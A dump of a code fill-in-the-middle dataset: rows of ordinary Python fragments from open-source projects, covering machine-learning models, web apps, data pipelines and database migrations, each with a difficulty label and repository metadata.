text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_suffix|> self.encoder_module.rnn.reset_parameters()
self.decoder_module.rnn.reset_parameters()
def forward(self, inputs, input_lengths=None, targets={},
teacher_forcing_ratio=0):
# Unpack target variables
target_output = targets.get('decoder_output', None)
... | code_fim | hard | {
"lang": "python",
"repo": "m0re4u/machine",
"path": "/machine/models/seq2seq.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bballamudi/DataGristle path: /scripts/gristle_processor
g('%s on file %s' % ('list', self.file_name))
print(fqfn)
class FileAnalyzer(object):
def __init__(self, in_kwargs, ex_kwargs):
self.in_kwargs = in_kwargs
self.ex_kwargs = ex_kwargs
self.seconds = {'... | code_fim | hard | {
"lang": "python",
"repo": "bballamudi/DataGristle",
"path": "/scripts/gristle_processor",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bballamudi/DataGristle path: /scripts/gristle_processor
# how to apply inclusion/exclusion criteria to dirs?
# need to offer a sorted-walk, in order to pick up all files, then sort
# by some timestamp
for root, dirs, files in os.walk(self.gather_kwargs['dir']):
... | code_fim | hard | {
"lang": "python",
"repo": "bballamudi/DataGristle",
"path": "/scripts/gristle_processor",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> if dynamic_comparison(filename_epoch, op, threshold_epoch):
return True
else:
return False
def _get_threshold_epoch(self, time_delta):
return time.time() - self._get_delta(time_delta)
def _get_delta(self, time_delta):
""" Inputs:
... | code_fim | hard | {
"lang": "python",
"repo": "bballamudi/DataGristle",
"path": "/scripts/gristle_processor",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> if objectPrevious is None:
tensorFlow = None
tensorFeat = None
tensorVolume = torch.nn.functional.leaky_relu(input=correlation.FunctionCorrelation(tensorFirst=tensorFirst, tensorSecond=tensorSecond), negative_slope=0.1, inplace=False)
tensorFeat = torch.cat([ tensorVolume ], 1)
... | code_fim | hard | {
"lang": "python",
"repo": "saikatdutta/FMU_STSR",
"path": "/PWCNetNew.py",
"mode": "spm",
"license": "CC0-1.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: saikatdutta/FMU_STSR path: /PWCNetNew.py
import torch
from correlation import correlation
import torch.nn.functional as F
import math
Backward_tensorGrid = {}
Backward_tensorPartial = {}
def Backward(tensorInput, tensorFlow):
if str(tensorFlow.size()) not in Backward_tensorGrid:
tensorHoriz... | code_fim | hard | {
"lang": "python",
"repo": "saikatdutta/FMU_STSR",
"path": "/PWCNetNew.py",
"mode": "psm",
"license": "CC0-1.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
Main test part
"""
speed_a = ad.physics.Speed(10.)
speed_b = ad.physics.Speed(20.)
speed_c = speed_a + speed_b
self.assertEqual(speed_c, 30.)
t = ad.physics.Duration(2.)
a = ad.physics.Acceleration(10.)
speed_c = t * a
... | code_fim | hard | {
"lang": "python",
"repo": "carla-simulator/map",
"path": "/ad_physics/python/tests/interface_test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: carla-simulator/map path: /ad_physics/python/tests/interface_test.py
#!/bin/env python
# ----------------- BEGIN LICENSE BLOCK ---------------------------------
#
# Copyright (c) 2019-2020 Intel Corporation
#
# SPDX-License-Identifier: MIT
#
# ----------------- END LICENSE BLOCK ----------------... | code_fim | medium | {
"lang": "python",
"repo": "carla-simulator/map",
"path": "/ad_physics/python/tests/interface_test.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>n]
if level % 2 == 1: temp.reverse()
res.append(temp)
stack.append(children)
return res<|fim_prefix|># repo: zlc18/LocalJudge path: /tests/python/BinaryTreeZigzagLevelOrderTraversal/zigzagLevelOrder.py
"""
simple bfs
"""
def zigzagLevelOrder(self, root):
if not root: retu... | code_fim | hard | {
"lang": "python",
"repo": "zlc18/LocalJudge",
"path": "/tests/python/BinaryTreeZigzagLevelOrderTraversal/zigzagLevelOrder.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: zlc18/LocalJudge path: /tests/python/BinaryTreeZigzagLevelOrderTraversal/zigzagLevelOrder.py
"""
simple bfs
"""
def zigzagLevelOrder(self, root):
if not root: return []
stack = [[root]]
res = [[<|fim_suffix|>n]
if level % 2 == 1: temp.reverse()
res.append(temp)
... | code_fim | hard | {
"lang": "python",
"repo": "zlc18/LocalJudge",
"path": "/tests/python/BinaryTreeZigzagLevelOrderTraversal/zigzagLevelOrder.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>ld in (node.left, node.right) if child]
if not children: break
temp = [node.val for node in children]
if level % 2 == 1: temp.reverse()
res.append(temp)
stack.append(children)
return res<|fim_prefix|># repo: zlc18/LocalJudge path: /tests/python/BinaryTreeZigzag... | code_fim | medium | {
"lang": "python",
"repo": "zlc18/LocalJudge",
"path": "/tests/python/BinaryTreeZigzagLevelOrderTraversal/zigzagLevelOrder.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: antoniopenta/machine-learning-problems-solutions path: /AuthorImpact/scripts/extract_idf.py
from sklearn.feature_extraction.text import TfidfVectorizer
from time import time
from functions.nlp import *
# this script is extracting the idf for each term in the considered collection
if __nam... | code_fim | hard | {
"lang": "python",
"repo": "antoniopenta/machine-learning-problems-solutions",
"path": "/AuthorImpact/scripts/extract_idf.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> print("Extracting ..")
tfidf_vectorizer = TfidfVectorizer(analyzer='word', strip_accents='unicode', tokenizer=tokenize_and_clean)
t0 = time()
tfidf_matrix = tfidf_vectorizer.fit_transform(list(mapping_title.values()))
print("done in %0.3fs." % (time() - t0))
feature_names = tf... | code_fim | hard | {
"lang": "python",
"repo": "antoniopenta/machine-learning-problems-solutions",
"path": "/AuthorImpact/scripts/extract_idf.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>AxisLabel.register()
class Polygraph(VueComponent):
template = "#polygraph-template"
stats: list
@computed
def points(self):
return " ".join(
map(
lambda e: ",".join(
str(p)
for p in value_to_point(int(e[1]["val... | code_fim | hard | {
"lang": "python",
"repo": "stefanhoelzl/vue.py",
"path": "/examples/svg_graph/app.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
Polygraph.register()
class App(VueComponent):
template = "#app-template"
new_label = ""
stats = stats
@computed
def disable_remove(self):
return len(self.stats) <= 3
def add(self, event):
event.preventDefault()
if self.new_label:
self.stats.... | code_fim | hard | {
"lang": "python",
"repo": "stefanhoelzl/vue.py",
"path": "/examples/svg_graph/app.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: stefanhoelzl/vue.py path: /examples/svg_graph/app.py
import math
from vue import VueComponent, computed
stats = [
{"label": "A", "value": 100},
{"label": "B", "value": 100},
{"label": "C", "value": 100},
{"label": "D", "value": 100},
{"label": "E", "value": 100},
{"labe... | code_fim | hard | {
"lang": "python",
"repo": "stefanhoelzl/vue.py",
"path": "/examples/svg_graph/app.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: supersom/python_video_stab path: /vidstab/layerutils.py
import cv2
import numpy as np
def layer_overlay(foreground, background):
"""put an image over the top of another
Intended for use in VidStab class to create a trail of previous frames in the stable video output.
:param foregr... | code_fim | medium | {
"lang": "python",
"repo": "supersom/python_video_stab",
"path": "/vidstab/layerutils.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> :param foreground: image to be laid over top of background image
:param background: image to over laid with foreground image
:param foreground_alpha: alpha to apply to foreground; (1 - foreground_alpha) applied to background
:return: return combined image where foreground is laid over back... | code_fim | medium | {
"lang": "python",
"repo": "supersom/python_video_stab",
"path": "/vidstab/layerutils.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def update_community_parent(udpate_params):
with db:
for p in udpate_params:
CommunityDataItem.update(parent=p['parent']).where(CommunityDataItem.id == p['id']).execute()
def tag_es_item_show():
offset = 0
size = 500
cdi: CommunityDataItem = None
ln = size
dog... | code_fim | hard | {
"lang": "python",
"repo": "oopsteams/pansite",
"path": "/es_test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def tag_es_item_show():
offset = 0
size = 500
cdi: CommunityDataItem = None
ln = size
dog = 1000000
while ln == size and dog > 0:
dog = dog - 1
ms: ModelSelect = CommunityDataItem.select().where(CommunityDataItem.isdir == 1).offset(offset).limit(size)
ln = l... | code_fim | hard | {
"lang": "python",
"repo": "oopsteams/pansite",
"path": "/es_test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: oopsteams/pansite path: /es_test.py
# -*- coding: utf-8 -*-
"""
Created by susy at 2019/10/21
"""
import sys
import os
sys.path.append(os.path.abspath(os.path.join(os.getcwd(), ".")))
from dao.models import db, DataItem, Accounts, CommunityDataItem, CommunityVisible
from dao.dao import DataDao
f... | code_fim | hard | {
"lang": "python",
"repo": "oopsteams/pansite",
"path": "/es_test.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>chema import *
from patch import pre_schema<|fim_prefix|># repo: howiemac/evoke4 path: /data/__init__.py
"""
evoke base database interface
"""
from data import makeDataClass, RecordNotFoundE<|fim_middle|>rror
from DB import execute, init_db
from s | code_fim | easy | {
"lang": "python",
"repo": "howiemac/evoke4",
"path": "/data/__init__.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: howiemac/evoke4 path: /data/__init__.py
"""
evoke base database interface
"""
from data import makeDataClass, RecordNotFoundE<|fim_suffix|>chema import *
from patch import pre_schema<|fim_middle|>rror
from DB import execute, init_db
from s | code_fim | easy | {
"lang": "python",
"repo": "howiemac/evoke4",
"path": "/data/__init__.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: howiemac/evoke4 path: /data/__init__.py
"""
evoke base database interface
"""
from<|fim_suffix|>chema import *
from patch import pre_schema<|fim_middle|> data import makeDataClass, RecordNotFoundError
from DB import execute, init_db
from s | code_fim | medium | {
"lang": "python",
"repo": "howiemac/evoke4",
"path": "/data/__init__.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> question = answers.get_question(session)
answers_to_questions = answers.get_answers_to_questions(session)
return dialogflow.response_quick_replies(question + '\r\n' + ('\r\n'.join(answers_to_questions)), ['A', 'B', 'C', 'D'])
lut = ['A', 'B', 'C', 'D']
def evaluate(session):
s = answers.... | code_fim | hard | {
"lang": "python",
"repo": "hackujstat-v3-team-11/backend",
"path": "/app.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> req = request.get_json(force=True)
session = req['session'].split('/')[4]
callbacs = {
'Start quiz': start_quiz,
'Give location': got_location,
'Default Fallback Intent': error_handler,
'cau': demo,
'A': handle_answer_a,
'B': handle_answer_b,
... | code_fim | hard | {
"lang": "python",
"repo": "hackujstat-v3-team-11/backend",
"path": "/app.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: hackujstat-v3-team-11/backend path: /app.py
import sys
from flask import Flask, request, make_response, jsonify, render_template
from utils import dialogflow
import question_modules
COMMANDS = ['Nastavit lokaci na Prahu', 'Začít hrát', 'Nastav počet otázek na 8']
class Answers:
def __init_... | code_fim | hard | {
"lang": "python",
"repo": "hackujstat-v3-team-11/backend",
"path": "/app.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: thealphaversion/A-Practical-Guide-To-Python path: /datastructures/stack.py
# a stack is a data structure in which the data element entered last is removed first
# basically you insert elements from one end and also remove them from the same end
# for example, you have a box of pringles and you o... | code_fim | hard | {
"lang": "python",
"repo": "thealphaversion/A-Practical-Guide-To-Python",
"path": "/datastructures/stack.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>class OurGreatStack:
def __init__(self):
self.top = -1
self.elements = []
def push(self, value):
self.top = self.top + 1
self.elements.insert(self.top, value)
def pop(self):
if (self.top >= 0):
self.top = self.top - 1
else:
... | code_fim | hard | {
"lang": "python",
"repo": "thealphaversion/A-Practical-Guide-To-Python",
"path": "/datastructures/stack.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mbachry/awslogs-sd path: /awslogs_sd/awslogs_sd.py
#!/usr/bin/env python3
import argparse
import json
import time
import itertools
import logging
import logging.config
import configparser
import socket
from collections import namedtuple
from operator import itemgetter, attrgetter
from functools i... | code_fim | hard | {
"lang": "python",
"repo": "mbachry/awslogs-sd",
"path": "/awslogs_sd/awslogs_sd.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
class LogPushError(Exception):
pass
def retry_condition(e):
return isinstance(e, LogPushError)
@retrying.retry(
retry_on_exception=retry_condition, wait_exponential_multiplier=50, wait_exponential_max=3000)
def push_records(client, records, unit_conf, state):
assert records
assert... | code_fim | hard | {
"lang": "python",
"repo": "mbachry/awslogs-sd",
"path": "/awslogs_sd/awslogs_sd.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def _build_local_store_key(
station_id: Union[str, int],
parameter: Parameter,
time_resolution: TimeResolution,
period_type: PeriodType,
) -> str:
"""
Function that builds a request string from defined parameters including a single
station id
:param station_id: ... | code_fim | hard | {
"lang": "python",
"repo": "kmuehlbauer/wetterdienst",
"path": "/wetterdienst/dwd/observations/store.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: kmuehlbauer/wetterdienst path: /wetterdienst/dwd/observations/store.py
from pathlib import Path
from typing import Union
import pandas as pd
from wetterdienst import Parameter, TimeResolution, PeriodType
from wetterdienst.dwd.metadata.constants import (
DWD_FOLDER_STATION_DATA,
DWD_FILE... | code_fim | hard | {
"lang": "python",
"repo": "kmuehlbauer/wetterdienst",
"path": "/wetterdienst/dwd/observations/store.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> :param station_id: Station id of data
:param parameter: Observation measure
:param time_resolution: Frequency/granularity of measurement interval
:param period_type: Recent or historical files
:return: A string building a key that is used... | code_fim | hard | {
"lang": "python",
"repo": "kmuehlbauer/wetterdienst",
"path": "/wetterdienst/dwd/observations/store.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> return join(self.data_path, 'exr-%s.json' % part)
def test_samples_request(self):
"""Test the samples from the SDMXJSON spec."""
req = Request()
for name, data in sample_data.items():
resp = req.get(fromfile=self._filepath(name))
df = resp.writ... | code_fim | hard | {
"lang": "python",
"repo": "jaypeedevlin/pandaSDMX",
"path": "/tests/test_json.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jaypeedevlin/pandaSDMX path: /tests/test_json.py
from collections import OrderedDict
import json
import os
from os.path import abspath, dirname, join
from unittest import TestCase
import pandas as pd
from pandasdmx import Request
# Construct the expected pandas representation of the sample dat... | code_fim | hard | {
"lang": "python",
"repo": "jaypeedevlin/pandaSDMX",
"path": "/tests/test_json.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> """Test the write_source() method."""
req = Request()
for name in sample_data.keys():
orig_fn = self._filepath(name)
temp_fn = self._filepath(name + '-write-source')
# Read the message
resp = req.get(fromfile=orig_fn)
# ... | code_fim | hard | {
"lang": "python",
"repo": "jaypeedevlin/pandaSDMX",
"path": "/tests/test_json.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
@login_required
def edit_profile(request):
if request.method == 'POST':
print(request.FILES)
profile_form = ProfileForm(request.POST, request.FILES, instance=request.user.profile)
if profile_form.is_valid():
profile_form.save()
return redirect("profile"... | code_fim | hard | {
"lang": "python",
"repo": "TheWITProject/MentorApp",
"path": "/userProfile/views.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: TheWITProject/MentorApp path: /userProfile/views.py
from django.contrib.auth import login, authenticate, logout
from django.shortcuts import render, redirect
from django.contrib.auth.decorators import login_required
from django.contrib.auth.models import User
from django.contrib.sites.shortcuts i... | code_fim | hard | {
"lang": "python",
"repo": "TheWITProject/MentorApp",
"path": "/userProfile/views.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # ### commands auto generated by Alembic - please adjust! ###
op.drop_table('order')
op.drop_index(op.f('ix_user_has_user_user_id2'), table_name='user_has_user')
op.drop_index(op.f('ix_user_has_user_user_id1'), table_name='user_has_user')
op.drop_table('user_has_user')
op.drop_tabl... | code_fim | hard | {
"lang": "python",
"repo": "linusgalen/chilichallenge",
"path": "/migrations/versions/686d4f6633fa_.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: linusgalen/chilichallenge path: /migrations/versions/686d4f6633fa_.py
"""empty message
Revision ID: 686d4f6633fa
Revises:
Create Date: 2017-03-22 11:01:46.159006
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '686d4f6633fa'
down_revisio... | code_fim | hard | {
"lang": "python",
"repo": "linusgalen/chilichallenge",
"path": "/migrations/versions/686d4f6633fa_.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bhuiyanmobasshir94/Categorized-Affect-Map path: /map/urls.py
from django.urls import path
from . import views
app_name = 'map'
urlpatterns = [
path('',views.index,name='index'),
path('map-view/',views.map_view,name='map-view'),
path('category/',views.category<|fim_suffix|>-n... | code_fim | hard | {
"lang": "python",
"repo": "bhuiyanmobasshir94/Categorized-Affect-Map",
"path": "/map/urls.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>submit-response'),
path('submit-area-name-request/',views.submit_area_name_request,name='submit-area-name-request'),
path('submit-category-name-request/',views.submit_category_name_request,name='submit-category-name-request'),
# path('<int:question_id>/',views.detail, name='detail'),
#... | code_fim | hard | {
"lang": "python",
"repo": "bhuiyanmobasshir94/Categorized-Affect-Map",
"path": "/map/urls.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> for c, c_freq in self.c_f.iteritems():
score = log(c_freq) - log(self.n)
for t, t_f in freqmap.iteritems():
score += log(self.c_tok_to_f[c][t]+self.alpha) - \
log(len(self.vocab) + self.c_to_toks_count[c])
best_score_class_pair = max(best_score_class_pair, (score, c))
return (best_... | code_fim | hard | {
"lang": "python",
"repo": "AWNystrom/BloomML",
"path": "/sanity_naive_bayes.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: AWNystrom/BloomML path: /sanity_naive_bayes.py
from collections import defaultdict
from numpy import inf
from math import log
def make_freqmap(tokens):
freqmap = defaultdict(lambda:0)
for t in tokens:
freqmap[t] += 1
return freqmap
class MNB(object):
def __init__(self, alpha):
self.c_... | code_fim | hard | {
"lang": "python",
"repo": "AWNystrom/BloomML",
"path": "/sanity_naive_bayes.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def bernoulli_predict(self, freqmap):
best_score_class_pair = (-inf, None)
for c, c_freq in self.c_f.iteritems():
score = log(c_freq) - log(self.n)
for t, t_f in freqmap.iteritems():
score += log(self.c_tok_to_f[c][t]+self.alpha) - \
log(len(self.vocab) + self.c_to_toks_count[c])
... | code_fim | hard | {
"lang": "python",
"repo": "AWNystrom/BloomML",
"path": "/sanity_naive_bayes.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: cdt15/lingam path: /examples/data/create_6vars_mid_latent.py
import numpy as np
import pandas as pd
N_SAMPLES = 300
np.random.seed(0)
<|fim_suffix|>x5 = get_external_effect(N_SAMPLES)
x6 = get_external_effect(N_SAMPLES)
x1 = 0.6 * x5 + get_external_effect(N_SAMPLES)
x3 = 0.5 * x5 + get_externa... | code_fim | medium | {
"lang": "python",
"repo": "cdt15/lingam",
"path": "/examples/data/create_6vars_mid_latent.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|># The latent variable x6 is not included.
df = pd.DataFrame(
np.array([x0, x1, x2, x3, x4, x5]).T, columns=["x0", "x1", "x2", "x3", "x4", "x5"]
)
df.to_csv("6vars_mid_latent.csv", index=False)<|fim_prefix|># repo: cdt15/lingam path: /examples/data/create_6vars_mid_latent.py
import numpy as np
import... | code_fim | hard | {
"lang": "python",
"repo": "cdt15/lingam",
"path": "/examples/data/create_6vars_mid_latent.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> for r in itertools.chain(metrics('node'), metrics('pod')):
if fmt:
print(fmt.format(**r))
else:
print(json.dumps(r))
if __name__ == '__main__':
args = parser.parse_args()
dump_kwargs = {'fmt': args.format}
# Show metrics immideately
dump(**dump... | code_fim | hard | {
"lang": "python",
"repo": "sabakaio/k8s-diag-logs",
"path": "/metrics.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>kube_api = config('KUBE_API', 'http://localhost:8001')
kube_token_file = config('KUBE_TOKEN_FILE', '')
kube_token = config('KUBE_TOKEN', '')
if not kube_token and kube_token_file:
with open(kube_token_file) as f:
kube_token = f.read()
# INFLUXDB SETTINGS
influxdb_dsn = config('INFLUXDB_DSN'... | code_fim | hard | {
"lang": "python",
"repo": "sabakaio/k8s-diag-logs",
"path": "/metrics.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: sabakaio/k8s-diag-logs path: /metrics.py
#!/usr/bin/env python3
import argparse
import asyncio
import json
import itertools
import requests
from apscheduler.schedulers.asyncio import AsyncIOScheduler
from decouple import config, Csv
from influxdb import InfluxDBClient
# suppress self-signed cer... | code_fim | hard | {
"lang": "python",
"repo": "sabakaio/k8s-diag-logs",
"path": "/metrics.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: darkdragn/lz4tools path: /lz4tools/lz4tar.py
import sys
import tarfile
if sys.version_info.major >= 3:
from .lz4file import Lz4File
else:
from lz4file import Lz4File
<|fim_suffix|> try:
import lz4tools
Lz4File = lz4tools.Lz4File
except (ImportError... | code_fim | medium | {
"lang": "python",
"repo": "darkdragn/lz4tools",
"path": "/lz4tools/lz4tar.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> try:
import lz4tools
Lz4File = lz4tools.Lz4File
except (ImportError, AttributeError):
raise CompressionError("Lz4file module is not available")
if name and fileobj is None:
try:
fileobj = Lz4File.open(name)
... | code_fim | medium | {
"lang": "python",
"repo": "darkdragn/lz4tools",
"path": "/lz4tools/lz4tar.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: tgeral68/OpenNIR path: /onir/indices/multifield_sqlite.py
import os
import onir
from onir.interfaces.sqlite import Sqlite2KeyDict
_logger = onir.log.easy()
class MultifieldSqliteDocstore:
def __init__(self, path, primary_field='text'):
self._path = path
self._primary_field... | code_fim | hard | {
"lang": "python",
"repo": "tgeral68/OpenNIR",
"path": "/onir/indices/multifield_sqlite.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> return self._path
def docids(self):
if self.built():
yield from self.sql().iterkey2s()
def num_docs(self):
if self.built():
return self.sql().countkey2s()<|fim_prefix|># repo: tgeral68/OpenNIR path: /onir/indices/multifield_sqlite.py
import os
imp... | code_fim | hard | {
"lang": "python",
"repo": "tgeral68/OpenNIR",
"path": "/onir/indices/multifield_sqlite.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> tr_wfd = open(trainout_path, "w")
va_wfd = open(valiout_path, "w")
te_wfd = open(testout_path, "w")
for line in open(datain_path):
time_str = line.strip("\r\t\n").split(",")[8]
if time_str < trseg_time:
tr_wfd.write(line)
elif time_str < vaseg_time:
... | code_fim | hard | {
"lang": "python",
"repo": "anthonylife/EventPopularity",
"path": "/script/segmentData.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: anthonylife/EventPopularity path: /script/segmentData.py
#!/usr/bin/env python
#encoding=utf8
#Copyright [2014] [Wei Zhang]
#Licensed under the Apache License, Version 2.0 (the "License");
#you may not use this file except in compliance with the License.
#You may obtain a copy of the License at... | code_fim | hard | {
"lang": "python",
"repo": "anthonylife/EventPopularity",
"path": "/script/segmentData.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> parser = argparse.ArgumentParser()
parser.add_argument('-d', type=str, action='store',
dest='data_num', help='choose which data set to use')
if len(sys.argv) != 3:
print 'Command e.g.: python segmentData.py -d 1(11,12,...)'
sys.exit(1)
para = parser.parse_args(... | code_fim | hard | {
"lang": "python",
"repo": "anthonylife/EventPopularity",
"path": "/script/segmentData.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> while delay_time:
mins, secs = divmod(delay_time, 60)
timer = '{:02d}:{:02d}'.format(mins, secs)
print("\u001b[31;1mDelay Time Counter",timer, end="\r\u001b[0m")
time.sleep(1)
delay_time -= 1<|fim_prefix|># repo: saadmty/KMF_BOT path: /FunctionData/somefun.py
#... | code_fim | medium | {
"lang": "python",
"repo": "saadmty/KMF_BOT",
"path": "/FunctionData/somefun.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: saadmty/KMF_BOT path: /FunctionData/somefun.py
#Importing Modules
import os
import time
#Creating Clear Console Funcation...
def console_clear():
if os.name == 'nt':
os.system("cls")
else:
os.system('clear')
<|fim_suffix|> while delay_time:
mins, secs = divmod... | code_fim | medium | {
"lang": "python",
"repo": "saadmty/KMF_BOT",
"path": "/FunctionData/somefun.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>", "FB2NoteParser", "PDFNoteParser", "MoonReaderNotes")<|fim_prefix|># repo: Python3pkg/MoonReader_tools path: /moonreader_tools/parsers/__init__.py
from .base import BaseParser
from .fb2_parser import FB2NoteParser
from .pdf_parser import PDFNoteParser
from<|fim_middle|> .notes import MoonReaderNotes
_... | code_fim | easy | {
"lang": "python",
"repo": "Python3pkg/MoonReader_tools",
"path": "/moonreader_tools/parsers/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Python3pkg/MoonReader_tools path: /moonreader_tools/parsers/__init__.py
from .base import BaseParser
from .fb2_parser import FB2NoteParser
from .pdf_parser import PDFNoteParser
from<|fim_suffix|>", "FB2NoteParser", "PDFNoteParser", "MoonReaderNotes")<|fim_middle|> .notes import MoonReaderNotes
_... | code_fim | easy | {
"lang": "python",
"repo": "Python3pkg/MoonReader_tools",
"path": "/moonreader_tools/parsers/__init__.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: MarSik/ApertureToDarktable path: /aperture2darktable/__main__.py
# Copyright 2019 Martin Sivak
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org... | code_fim | hard | {
"lang": "python",
"repo": "MarSik/ApertureToDarktable",
"path": "/aperture2darktable/__main__.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> metafile = xmp_fullpath + ".pprint.txt"
with open(metafile, "w") as meta_file:
meta_file.write(pprint.pformat(ver.content))
print((d * 2 * " ") + f" - {photo.filename} [{idx}] " + "*" * photo.rating)
for f0 in f.folders:
process_folder(f0,... | code_fim | hard | {
"lang": "python",
"repo": "MarSik/ApertureToDarktable",
"path": "/aperture2darktable/__main__.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: fedspendingtransparency/data-act-broker-backend path: /dataactcore/migrations/versions/6877b5657ffc_update_subtier_frec_relationship.py
"""update subtier-frec relationship
Revision ID: 6877b5657ffc
Revises: 6fc9bcd1c6cd
Create Date: 2017-08-21 14:57:32.560466
"""
# revision identifiers, used b... | code_fim | medium | {
"lang": "python",
"repo": "fedspendingtransparency/data-act-broker-backend",
"path": "/dataactcore/migrations/versions/6877b5657ffc_update_subtier_frec_relationship.py",
"mode": "psm",
"license": "CC0-1.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def upgrade_data_broker():
### commands auto generated by Alembic - please adjust! ###
op.add_column('frec', sa.Column('cgac_id', sa.Integer(), nullable=True))
op.execute("""
UPDATE frec
SET cgac_id = cgacs.cgac_id
FROM (
... | code_fim | medium | {
"lang": "python",
"repo": "fedspendingtransparency/data-act-broker-backend",
"path": "/dataactcore/migrations/versions/6877b5657ffc_update_subtier_frec_relationship.py",
"mode": "spm",
